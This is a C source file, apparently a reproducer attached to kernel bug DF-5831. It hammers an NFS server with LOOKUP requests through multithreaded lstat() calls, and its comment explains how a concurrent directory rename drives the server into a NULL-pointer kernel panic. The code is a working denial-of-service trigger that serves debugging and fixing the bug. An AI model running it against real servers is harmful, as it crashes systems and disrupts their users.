DF-5831 / hammer.c
/* DF-5831 — client-side LOOKUP hammer. * * Drives NFS LOOKUP RPCs of (sub-fh, "zzzNNNN") against the server. * Each RPC makes the server's nfsrv_lookup() call nfs_namei(), which * uses nlookup_init_raw() (nl_basench == NULL), on the directory "sub". * A concurrent rename of "sub" bumps sub's ncp nc_generation during the * server-side nlookup() -> nlookup()'s internal doretry path runs * cache_copy(NULL, &nd->nl_nch) -> NULL pointer deref -> kernel panic. * * usage: hammer <mounted-export-dir> <nthreads> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/stat.h> static const char *base; static void * hammer(void *arg) { char path[512]; unsigned long n = (unsigned long)arg; unsigned long i; for (i = 0;; ++i) { snprintf(path, sizeof(path), "%s/sub/zzz%08lx%02lx", base, i * 2654435761UL, n); struct stat st; if (lstat(path, &st) < 0) { if (errno != ENOENT && errno != ENOTDIR && errno != ESTALE) usleep(1000); /* back off on unexpected errors */ } } return (NULL); } int main(int argc, char **argv) { int i, n; pthread_t th[64]; if (argc < 3) { fprintf(stderr, "usage: %s <mounted-export-dir> <nthreads>\n", argv[0]); exit(2); } base = argv[1]; n = atoi(argv[2]); if (n > 64) n = 64; for (i = 0; i < n; ++i) pthread_create(&th[i], NULL, hammer, (void *)(long)i); for (i = 0; i < n; ++i) pthread_join(th[i], NULL); return (0); } |